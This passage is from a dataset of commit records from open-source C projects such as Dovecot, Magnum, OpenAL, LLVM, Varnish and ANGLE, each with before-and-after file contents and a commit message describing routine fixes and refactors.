max_len);\n\treturn str_c(str);\n}\n","new_contents":"\/* Copyright (c) 2004 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"str.h\"\n#include \"str-sanitize.h\"\n\nvoid str_sanitize_append(string_t *dest, const char *src, size_t max_len)\n{\n\tconst char *p;\n\n\tfor (p = src; *p != '\\0'; p++) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tbreak;\n\t}\n\n\tstr_append_n(dest, src, (size_t)(p - src));\n\tfor (; *p != '\\0' && max_len > 0; p++, max_len--) {\n\t\tif (((unsigned char)*p & 0x7f) < 32)\n\t\t\tstr_append_c(dest, '?');\n\t\telse\n\t\t\tstr_append_c(dest, *p);\n\t}\n\n\tif (*p != '\\0') {\n\t\tstr_truncate(dest, str_len(dest)-3);\n\t\tstr_append(dest, \"...\");\n\t}\n}\n\nconst char *str_sanitize(const char *src, size_t max_len)\n{\n\tstring_t *str;\n\n\tstr = t_str_new(I_MIN(max_len, 256));\n\tstr_sanitize_append(str, src, max_len);\n\treturn str_c(str);\n}\n","subject":"Convert also 0x80..0x9f characters to '?'","message":"Convert also 0x80..0x9f characters to '?'\n","lang":"C","license":"mit","repos":"LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot,LTD-Beget\/dovecot"}
{"commit":"dde630e7f828d49fa7fd8e01887b4645ac7572fc","old_file":"src\/Magnum\/Implementation\/maxTextureSize.h","new_file":"src\/Magnum\/Implementation\/maxTextureSize.h","old_contents":"#ifndef Magnum_Implementation_maxTextureSize_h\n#define Magnum_Implementation_maxTextureSize_h\n\/*\n    This file is part of Magnum.\n\n    Copyright © 2010, 2011, 2012, 2013, 2014, 2015\n              Vladimír Vondruš <mosra@centrum.cz>\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n    DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Magnum\/OpenGL.h\"\n\nnamespace Magnum { namespace Implementation {\n\nGLint maxTextureSideSize();\nGLint max3DTextureDepth();\nGLint maxTextureArrayLayers();\nGLint maxCubeMapTextureSideSize();\n\n}}\n\n#endif\n","new_contents":"#ifndef Magnum_Implementation_maxTextureSize_h\n#define Magnum_Implementation_maxTextureSize_h\n\/*\n    This file is part of Magnum.\n\n    Copyright © 2010, 2011, 2012, 2013, 2014, 2015\n              Vladimír Vondruš <mosra@centrum.cz>\n\n    Permission is hereby granted, free of charge, to any person obtaining a\n    copy of this software and associated documentation files (the \"Software\"),\n    to deal in the Software without restriction, including without limitation\n    the rights to use, copy, modify, merge, publish, distribute, sublicense,\n    and\/or sell copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included\n    in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n    THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n    DEALINGS IN THE SOFTWARE.\n*\/\n\n#include \"Magnum\/OpenGL.h\"\n\nnamespace Magnum { namespace Implementation {\n\nGLint maxTextureSideSize();\nGLint max3DTextureDepth();\n#ifndef MAGNUM_TARGET_GLES2\nGLint maxTextureArrayLayers();\n#endif\nGLint maxCubeMapTextureSideSize();\n\n}}\n\n#endif\n","subject":"Hide internal function declaration on ES2 builds.","message":"Hide internal function declaration on ES2 builds.\n\nThe implementation was already hidden so this is not needed too.\n","lang":"C","license":"mit","repos":"DerThorsten\/magnum,DerThorsten\/magnum,DerThorsten\/magnum,MiUishadow\/magnum,MiUishadow\/magnum,ashimidashajia\/magnum,ashimidashajia\/magnum,MiUishadow\/magnum,ashimidashajia\/magnum,MiUishadow\/magnum,ashimidashajia\/magnum,MiUishadow\/magnum,DerThorsten\/magnum,DerThorsten\/magnum,MiUishadow\/magnum,ashimidashajia\/magnum"}
{"commit":"5103d9b68accfc116275636d1a6068aa14df2d33","old_file":"iotests\/trim.c","new_file":"iotests\/trim.c","old_contents":"#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <getopt.h>\n#include <sys\/uio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <signal.h>\n\n#include \"utils.h\"\n#include \"logSpeed.h\"\n\nint keepRunning = 1;\n\nint main(int argc, char *argv[]) {\n  \/\/  int index = handle_args(argc, argv);\n  int index = 1;\n  \/\/  signal(SIGTERM, intHandler);\n  \/\/  signal(SIGINT, intHandler);\n\n  for (size_t i = index; i < argc; i++) {\n    int fd = open(argv[i], O_WRONLY | O_EXCL | O_DIRECT);\n    if (fd >= 0) {\n      size_t bdsize = blockDeviceSizeFromFD(fd);\n      trimDevice(fd, argv[i], 0, bdsize); \/\/ only sending 1GiB for now\n      close(fd);\n    } else {\n      perror(\"open\");\n    }\n  }\n\n  return 0;\n}\n","new_contents":"#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <getopt.h>\n#include <sys\/uio.h>\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <fcntl.h>\n#include <signal.h>\n\n#include \"utils.h\"\n#include \"logSpeed.h\"\n\nint keepRunning = 1;\n\nint main(int argc, char *argv[]) {\n  \/\/  int index = handle_args(argc, argv);\n  int index = 1;\n  \/\/  signal(SIGTERM, intHandler);\n  \/\/  signal(SIGINT, intHandler);\n\n  for (size_t i = index; i < argc; i++) {\n    int fd = open(argv[i], O_RDWR | O_EXCL | O_DIRECT );\n    if (fd >= 0) {\n      size_t bdsize = blockDeviceSizeFromFD(fd);\n      trimDevice(fd, argv[i], 0, bdsize - 512); \n      close(fd);\n    } else {\n      perror(\"open\");\n    }\n  }\n\n  return 0;\n}\n","subject":"Subtract one old school sector","message":"Subtract one old school sector\n","lang":"C","license":"apache-2.0","repos":"dr-who\/stutools,dr-who\/stutools"}
{"commit":"1d7b0f54bee766d685ab74f0c206547431f4f636","old_file":"Alc\/alconfig.h","new_file":"Alc\/alconfig.h","old_contents":"#ifndef ALCONFIG_H\n#define ALCONFIG_H\n\nvoid ReadALConfig(void);\nvoid FreeALConfig(void);\n\nint ConfigValueExists(const char *devName, const char *blockName, const char *keyName);\nconst char *GetConfigValue(const char *devName, const char *blockName, const char *keyName, const char *def);\nint GetConfigValueBool(const char *devName, const char *blockName, const char *keyName, int def);\n\nint ConfigValueStr(const char *devName, const char *blockName, const char *keyName, const char **ret);\nint ConfigValueInt(const char *devName, const char *blockName, const char *keyName, int *ret);\nint ConfigValueUInt(const char *devName, const char *blockName, const char *keyName, unsigned int *ret);\nint ConfigValueFloat(const char *devName, const char *blockName, const char *keyName, float *ret);\nint ConfigValueBool(const char *devName, const char *blockName, const char *keyName, int *ret);\n\n#endif \/* ALCONFIG_H *\/\n","new_contents":"#ifndef ALCONFIG_H\n#define ALCONFIG_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid ReadALConfig(void);\nvoid FreeALConfig(void);\n\nint ConfigValueExists(const char *devName, const char *blockName, const char *keyName);\nconst char *GetConfigValue(const char *devName, const char *blockName, const char *keyName, const char *def);\nint GetConfigValueBool(const char *devName, const char *blockName, const char *keyName, int def);\n\nint ConfigValueStr(const char *devName, const char *blockName, const char *keyName, const char **ret);\nint ConfigValueInt(const char *devName, const char *blockName, const char *keyName, int *ret);\nint ConfigValueUInt(const char *devName, const char *blockName, const char *keyName, unsigned int *ret);\nint ConfigValueFloat(const char *devName, const char *blockName, const char *keyName, float *ret);\nint ConfigValueBool(const char *devName, const char *blockName, const char *keyName, int *ret);\n\n#ifdef __cplusplus\n} \/\/ extern \"C\"\n#endif\n\n#endif \/* ALCONFIG_H *\/\n","subject":"Add another missing extern \"C\"","message":"Add another missing extern \"C\"\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"2e0bb77ac7a50735d50ee8a92be9bf7eadfd100c","old_file":"test\/global_fakes.h","new_file":"test\/global_fakes.h","old_contents":"\n#ifndef GLOBAL_FAKES_H_\n#define GLOBAL_FAKES_H_\n\n#include \"..\/fff3.h\"\n\nvoid global_void_func(void);\nDECLARE_FAKE_VOID_FUNC0(global_void_func);\n\n#endif \/* GLOBAL_FAKES_H_ *\/\n","new_contents":"\n#ifndef GLOBAL_FAKES_H_\n#define GLOBAL_FAKES_H_\n\n#include \"..\/fff3.h\"\n\n\n\/\/\/\/  Imaginary production code header file \/\/\/\nvoid voidfunc1(int);\nvoid voidfunc2(char, char);\nlong longfunc0();\n\nenum MYBOOL { FALSE = 899, TRUE };\nstruct MyStruct {\n    int x;\n    int y;\n};\nenum MYBOOL enumfunc();\nstruct MyStruct structfunc();\n\/\/\/\/  End Imaginary production code header file \/\/\/\n\nDECLARE_FAKE_VOID_FUNC1(voidfunc1, int);\nDECLARE_FAKE_VOID_FUNC2(voidfunc2, char, char);\nDECLARE_FAKE_VALUE_FUNC0(long, longfunc0);\nDECLARE_FAKE_VALUE_FUNC0(enum MYBOOL, enumfunc0);\nDECLARE_FAKE_VALUE_FUNC0(struct MyStruct, structfunc0);\n\n#endif \/* GLOBAL_FAKES_H_ *\/\n","subject":"Add fakes for common test cases","message":"Add fakes for common test cases\n","lang":"C","license":"mit","repos":"usr42\/fff,usr42\/fff,usr42\/fff,usr42\/fff"}
{"commit":"07f4eda3a524bdc245a088dc90a71583234273b9","old_file":"test\/FrontendC\/vla-1.c","new_file":"test\/FrontendC\/vla-1.c","old_contents":"\/\/ RUN: not %llvmgcc -std=gnu99 %s -S |& grep \"error: alignment for\"\n\nint foo(int a)\n{\n  int var[a] __attribute__((__aligned__(32)));\n  return 4;\n}\n","new_contents":"\/\/ RUN: %llvmgcc_only -std=gnu99 %s -S |& grep \"warning: alignment for\"\n\nint foo(int a)\n{\n  int var[a] __attribute__((__aligned__(32)));\n  return 4;\n}\n","subject":"Fix this up per llvm-gcc r109819.","message":"Fix this up per llvm-gcc r109819.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@109820 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap"}
{"commit":"a6345abe1b077f3bb2c6765245761f8a9f50965c","old_file":"capi\/include\/mp4parse-rust.h","new_file":"capi\/include\/mp4parse-rust.h","old_contents":"\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#ifndef _MP4PARSE_RUST_H\n#define _MP4PARSE_RUST_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct mp4parse_state;\n\nstruct mp4parse_state* mp4parse_state_new(void);\nvoid mp4parse_state_free(struct mp4parse_state* state);\n\nint32_t mp4parse_state_feed(struct mp4parse_state* state, uint8_t *buffer, size_t size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/\/ This Source Code Form is subject to the terms of the Mozilla Public\n\/\/ License, v. 2.0. If a copy of the MPL was not distributed with this\n\/\/ file, You can obtain one at https:\/\/mozilla.org\/MPL\/2.0\/.\n\n#ifndef _MP4PARSE_RUST_H\n#define _MP4PARSE_RUST_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nstruct mp4parse_state;\n\nstruct mp4parse_state* mp4parse_new(void);\nvoid mp4parse_free(struct mp4parse_state* state);\n\nint32_t mp4parse_read(struct mp4parse_state* state, uint8_t *buffer, size_t size);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Update C header to match capi.rs function names.","message":"Update C header to match capi.rs function names.\n","lang":"C","license":"mpl-2.0","repos":"kinetiknz\/mp4parse-rust,kinetiknz\/mp4parse-rust,mozilla\/mp4parse-rust"}
{"commit":"6c93a693f3e0e4a2979fa8677278d181c5e3edb2","old_file":"include\/rwte\/coords.h","new_file":"include\/rwte\/coords.h","old_contents":"#ifndef RWTE_COORDS_H\n#define RWTE_COORDS_H\n\nstruct Cell\n{\n    int row, col;\n\n    inline bool operator==(const Cell& other) const\n    {\n        return row == other.row && col == other.col;\n    }\n\n    inline bool operator!=(const Cell& other) const\n    {\n        return row != other.row || col != other.col;\n    }\n\n    inline bool operator< (const Cell& other) const\n    {\n        return row < other.row || col < other.col;\n    }\n\n    inline bool operator> (const Cell& other) const\n    {\n        return row > other.row || col > other.col;\n    }\n\n    inline bool operator<=(const Cell& other) const\n    {\n        return row < other.row || col < other.col ||\n            (row == other.row && col == other.col);\n    }\n\n    inline bool operator>=(const Cell& other) const\n    {\n        return row > other.row || col > other.col ||\n            (row == other.row && col == other.col);\n    }\n};\n\n#endif \/\/ RWTE_COORDS_H\n","new_contents":"#ifndef RWTE_COORDS_H\n#define RWTE_COORDS_H\n\nstruct Cell\n{\n    int row = 0;\n    int col = 0;\n\n    inline bool operator==(const Cell& other) const\n    {\n        return row == other.row && col == other.col;\n    }\n\n    inline bool operator!=(const Cell& other) const\n    {\n        return row != other.row || col != other.col;\n    }\n\n    inline bool operator< (const Cell& other) const\n    {\n        return row < other.row || col < other.col;\n    }\n\n    inline bool operator> (const Cell& other) const\n    {\n        return row > other.row || col > other.col;\n    }\n\n    inline bool operator<=(const Cell& other) const\n    {\n        return row < other.row || col < other.col ||\n            (row == other.row && col == other.col);\n    }\n\n    inline bool operator>=(const Cell& other) const\n    {\n        return row > other.row || col > other.col ||\n            (row == other.row && col == other.col);\n    }\n};\n\n#endif \/\/ RWTE_COORDS_H\n","subject":"Set default values for Cell members.","message":"Set default values for Cell members.\n","lang":"C","license":"mit","repos":"drcforbin\/rwte,drcforbin\/rwte,drcforbin\/rwte,drcforbin\/rwte"}
{"commit":"0eabb5f05a435bb32ba85b192875c47d213453b6","old_file":"include\/shmlog_tags.h","new_file":"include\/shmlog_tags.h","old_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\nSLTM(WorkThread)\n","new_contents":"\/*\n * $Id$\n *\n * Define the tags in the shared memory in a reusable format.\n * Whoever includes this get to define what the SLTM macro does.\n *\n * REMEMBER to update the documentation (especially the varnishlog(1) man\n * page) whenever this list changes.\n *\/\n\nSLTM(Debug)\nSLTM(Error)\nSLTM(CLI)\nSLTM(SessionOpen)\nSLTM(SessionReuse)\nSLTM(SessionClose)\nSLTM(BackendOpen)\nSLTM(BackendXID)\nSLTM(BackendReuse)\nSLTM(BackendClose)\nSLTM(HttpError)\nSLTM(ClientAddr)\nSLTM(Backend)\nSLTM(Request)\nSLTM(Response)\nSLTM(Length)\nSLTM(Status)\nSLTM(URL)\nSLTM(Protocol)\nSLTM(Header)\nSLTM(BldHdr)\nSLTM(LostHeader)\nSLTM(VCL_call)\nSLTM(VCL_trace)\nSLTM(VCL_return)\nSLTM(XID)\nSLTM(Hit)\nSLTM(ExpBan)\nSLTM(ExpPick)\nSLTM(ExpKill)\nSLTM(WorkThread)\n","subject":"Add a note to update varnishlog(1) whenever this list changes.","message":"Add a note to update varnishlog(1) whenever this list changes.\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@418 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"drwilco\/varnish-cache-old,ajasty-cavium\/Varnish-Cache,1HLtd\/Varnish-Cache,varnish\/Varnish-Cache,varnish\/Varnish-Cache,gquintard\/Varnish-Cache,drwilco\/varnish-cache-drwilco,alarky\/varnish-cache-doc-ja,feld\/Varnish-Cache,wikimedia\/operations-debs-varnish,zhoualbeart\/Varnish-Cache,drwilco\/varnish-cache-old,gauthier-delacroix\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,ssm\/pkg-varnish,alarky\/varnish-cache-doc-ja,franciscovg\/Varnish-Cache,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,chrismoulton\/Varnish-Cache,franciscovg\/Varnish-Cache,zhoualbeart\/Varnish-Cache,mrhmouse\/Varnish-Cache,ssm\/pkg-varnish,franciscovg\/Varnish-Cache,ambernetas\/varnish-cache,feld\/Varnish-Cache,mrhmouse\/Varnish-Cache,alarky\/varnish-cache-doc-ja,mrhmouse\/Varnish-Cache,franciscovg\/Varnish-Cache,chrismoulton\/Varnish-Cache,alarky\/varnish-cache-doc-ja,feld\/Varnish-Cache,ambernetas\/varnish-cache,varnish\/Varnish-Cache,ssm\/pkg-varnish,varnish\/Varnish-Cache,1HLtd\/Varnish-Cache,1HLtd\/Varnish-Cache,feld\/Varnish-Cache,gquintard\/Varnish-Cache,zhoualbeart\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,gauthier-delacroix\/Varnish-Cache,chrismoulton\/Varnish-Cache,gquintard\/Varnish-Cache,mrhmouse\/Varnish-Cache,zhoualbeart\/Varnish-Cache,mrhmouse\/Varnish-Cache,alarky\/varnish-cache-doc-ja,ajasty-cavium\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,feld\/Varnish-Cache,wikimedia\/operations-debs-varnish,ajasty-cavium\/Varnish-Cache,ajasty-cavium\/Varnish-Cache,chrismoulton\/Varnish-Cache,chrismoulton\/Varnish-Cache,gquintard\/Varnish-Cache,drwilco\/varnish-cache-old,1HLtd\/Varnish-Cache,franciscovg\/Varnish-Cache,drwilco\/varnish-cache-drwilco,drwilco\/varnish-cache-drwilco,ajasty-cavium\/Varnish-Cache,zhoualbeart\/Varnish-Cache,ssm\/pkg-varnish,ambernetas\/varnish-cache,gauthier-delacroix\/Varnish-Cache,varnish\/Varnish-Cache"}
{"commit":"51c8a6dc7636942958b07ed49e925c97b9d58646","old_file":"config.h","new_file":"config.h","old_contents":"const char *field_sep = \"  \\u2022  \";\nconst char *time_fmt  = \"%x %I:%M %p\";\n\nconst int update_period = 90;\n\nchar *\nloadavg(void)\n{\n\tdouble avgs[3];\n\n\tif (getloadavg(avgs, 3) < 0) {\n\t\tperror(\"getloadavg\");\n\t\texit(1);\n\t}\n\n\treturn smprintf(\"%.2f %.2f %.2f\", avgs[0], avgs[1], avgs[2]);\n}\n\nchar *\nprettytime(void)\n{\n\treturn mktimes(time_fmt, NULL);\n}\n\nstatic char *(*forder[])(void) = {\n\tloadavg,\n\tprettytime,\n\tNULL\n};\n\n","new_contents":"const char *field_sep = \"  \\u2022  \";\nconst char *time_fmt  = \"%x %I:%M %p\";\n\nconst int update_period = 15;\n\nchar *\nloadavg(void)\n{\n\tdouble avgs[3];\n\n\tif (getloadavg(avgs, 3) < 0) {\n\t\tperror(\"getloadavg\");\n\t\texit(1);\n\t}\n\n\treturn smprintf(\"%.2f %.2f %.2f\", avgs[0], avgs[1], avgs[2]);\n}\n\nchar *\nprettytime(void)\n{\n\treturn mktimes(time_fmt, NULL);\n}\n\nstatic char *(*forder[])(void) = {\n\tloadavg,\n\tprettytime,\n\tNULL\n};\n\n","subject":"Change update_period to 15 seconds","message":"Change update_period to 15 seconds\n\nOn a laptop, 90 seconds between battery status updates can lead to\nunnecessary worrying about whether or not the AC adapter is broken.\n","lang":"C","license":"mit","repos":"grantisu\/dwmstatus"}
{"commit":"06d414e87708afb29b87d33919abbf5973c9bed2","old_file":"adapters\/Vungle\/VungleAdapter\/GADMAdapterVungleConstants.h","new_file":"adapters\/Vungle\/VungleAdapter\/GADMAdapterVungleConstants.h","old_contents":"\/\/\n\/\/  Copyright © 2019 Google. All rights reserved.\n\/\/\n\nstatic NSString *const kGADMAdapterVungleVersion = @\"6.4.2.1\";\nstatic NSString *const kGADMAdapterVungleApplicationID = @\"application_id\";\nstatic NSString *const kGADMAdapterVunglePlacementID = @\"placementID\";\nstatic NSString *const kGADMAdapterVungleErrorDomain =\n    @\"com.google.mediation.vungle\";\n","new_contents":"\/\/\n\/\/  Copyright © 2019 Google. All rights reserved.\n\/\/\n\nstatic NSString *const kGADMAdapterVungleVersion = @\"6.4.3.0\";\nstatic NSString *const kGADMAdapterVungleApplicationID = @\"application_id\";\nstatic NSString *const kGADMAdapterVunglePlacementID = @\"placementID\";\nstatic NSString *const kGADMAdapterVungleErrorDomain =\n    @\"com.google.mediation.vungle\";\n","subject":"Update adapter version number to 6.4.3.0","message":"Update adapter version number to 6.4.3.0\n","lang":"C","license":"apache-2.0","repos":"googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation,googleads\/googleads-mobile-ios-mediation"}
{"commit":"962247710c891af9f847c3c26670c3ab8928219c","old_file":"src\/common\/angleutils.h","new_file":"src\/common\/angleutils.h","old_contents":"\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ angleutils.h: Common ANGLE utilities.\n\n#ifndef COMMON_ANGLEUTILS_H_\n#define COMMON_ANGLEUTILS_H_\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This must be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\ntemplate <typename T, unsigned int N>\ninline unsigned int ArraySize(T(&)[N])\n{\n    return N;\n}\n\n#if defined(_MSC_VER)\n#define snprintf _snprintf\n#endif\n\n#define VENDOR_ID_AMD 0x1002\n#define VENDOR_ID_INTEL 0x8086\n#define VENDOR_ID_NVIDIA 0x10DE\n\n#define GL_BGRA4_ANGLEX 0x6ABC\n#define GL_BGR5_A1_ANGLEX 0x6ABD\n\n#endif \/\/ COMMON_ANGLEUTILS_H_\n","new_contents":"\/\/\n\/\/ Copyright (c) 2002-2010 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ angleutils.h: Common ANGLE utilities.\n\n#ifndef COMMON_ANGLEUTILS_H_\n#define COMMON_ANGLEUTILS_H_\n\n\/\/ A macro to disallow the copy constructor and operator= functions\n\/\/ This must be used in the private: declarations for a class\n#define DISALLOW_COPY_AND_ASSIGN(TypeName) \\\n  TypeName(const TypeName&);               \\\n  void operator=(const TypeName&)\n\ntemplate <typename T, unsigned int N>\ninline unsigned int ArraySize(T(&)[N])\n{\n    return N;\n}\n\ntemplate <typename T, unsigned int N>\nvoid SafeRelease(T (&resourceBlock)[N])\n{\n    for (unsigned int i = 0; i < N; i++)\n    {\n        SafeRelease(resourceBlock[i]);\n    }\n}\n\ntemplate <typename T>\nvoid SafeRelease(T& resource)\n{\n    if (resource)\n    {\n        resource->Release();\n        resource = NULL;\n    }\n}\n\n#if defined(_MSC_VER)\n#define snprintf _snprintf\n#endif\n\n#define VENDOR_ID_AMD 0x1002\n#define VENDOR_ID_INTEL 0x8086\n#define VENDOR_ID_NVIDIA 0x10DE\n\n#define GL_BGRA4_ANGLEX 0x6ABC\n#define GL_BGR5_A1_ANGLEX 0x6ABD\n\n#endif \/\/ COMMON_ANGLEUTILS_H_\n","subject":"Add helper functions to safely release Windows COM resources, and arrays of COM resources.","message":"Add helper functions to safely release Windows COM resources, and arrays of COM resources.\n\nTRAC #22656\n\nSigned-off-by: Nicolas Capens\nSigned-off-by: Shannon Woods\nAuthor: Jamie Madill\n\ngit-svn-id: 7288974629ec06eaf04ee103a0a5f761b9efd9a5@2076 736b8ea6-26fd-11df-bfd4-992fa37f6226\n","lang":"C","license":"bsd-3-clause","repos":"mikolalysenko\/angle,ecoal95\/angle,xin3liang\/platform_external_chromium_org_third_party_angle,larsbergstrom\/angle,bsergean\/angle,ghostoy\/angle,jgcaaprom\/android_external_chromium_org_third_party_angle,bsergean\/angle,mrobinson\/rust-angle,ghostoy\/angle,MIPS\/external-chromium_org-third_party-angle,mrobinson\/rust-angle,vvuk\/angle,nandhanurrevanth\/angle,crezefire\/angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,mybios\/angle,csa7mdm\/angle,crezefire\/angle,csa7mdm\/angle,mrobinson\/rust-angle,larsbergstrom\/angle,MIPS\/external-chromium_org-third_party-angle,xin3liang\/platform_external_chromium_org_third_party_angle,vvuk\/angle,mrobinson\/rust-angle,mikolalysenko\/angle,ghostoy\/angle,MSOpenTech\/angle,nandhanurrevanth\/angle,domokit\/waterfall,mybios\/angle,mrobinson\/rust-angle,crezefire\/angle,xin3liang\/platform_external_chromium_org_third_party_angle,mlfarrell\/angle,MIPS\/external-chromium_org-third_party-angle,mlfarrell\/angle,nandhanurrevanth\/angle,ecoal95\/angle,ecoal95\/angle,csa7mdm\/angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,larsbergstrom\/angle,ppy\/angle,larsbergstrom\/angle,mybios\/angle,MIPS\/external-chromium_org-third_party-angle,crezefire\/angle,ghostoy\/angle,mlfarrell\/angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,MSOpenTech\/angle,vvuk\/angle,ecoal95\/angle,mikolalysenko\/angle,android-ia\/platform_external_chromium_org_third_party_angle,xin3liang\/platform_external_chromium_org_third_party_angle,geekboxzone\/lollipop_external_chromium_org_third_party_angle,android-ia\/platform_external_chromium_org_third_party_angle,nandhanurrevanth\/angle,android-ia\/platform_external_chromium_org_third_party_angle,bsergean\/angle,domokit\/waterfall,ecoal95\/angle,jgcaaprom\/android_external_chromium_org_third_party_angle,ppy\/angle,jgcaaprom\/android_external_chromium_org_third_party_angle,jgcaaprom\/android_external_chromium_org_third_party_angle,MSOpenTech\/angle,ppy\/angle,android-ia\/platform_external_chromium_org_third_party_angle,csa7mdm\/angle,mikolalysenko\/angle,mlfarrell\/angle,MSOpenTech\/angle,bsergean\/angle,vvuk\/angle,mybios\/angle,ppy\/angle"}
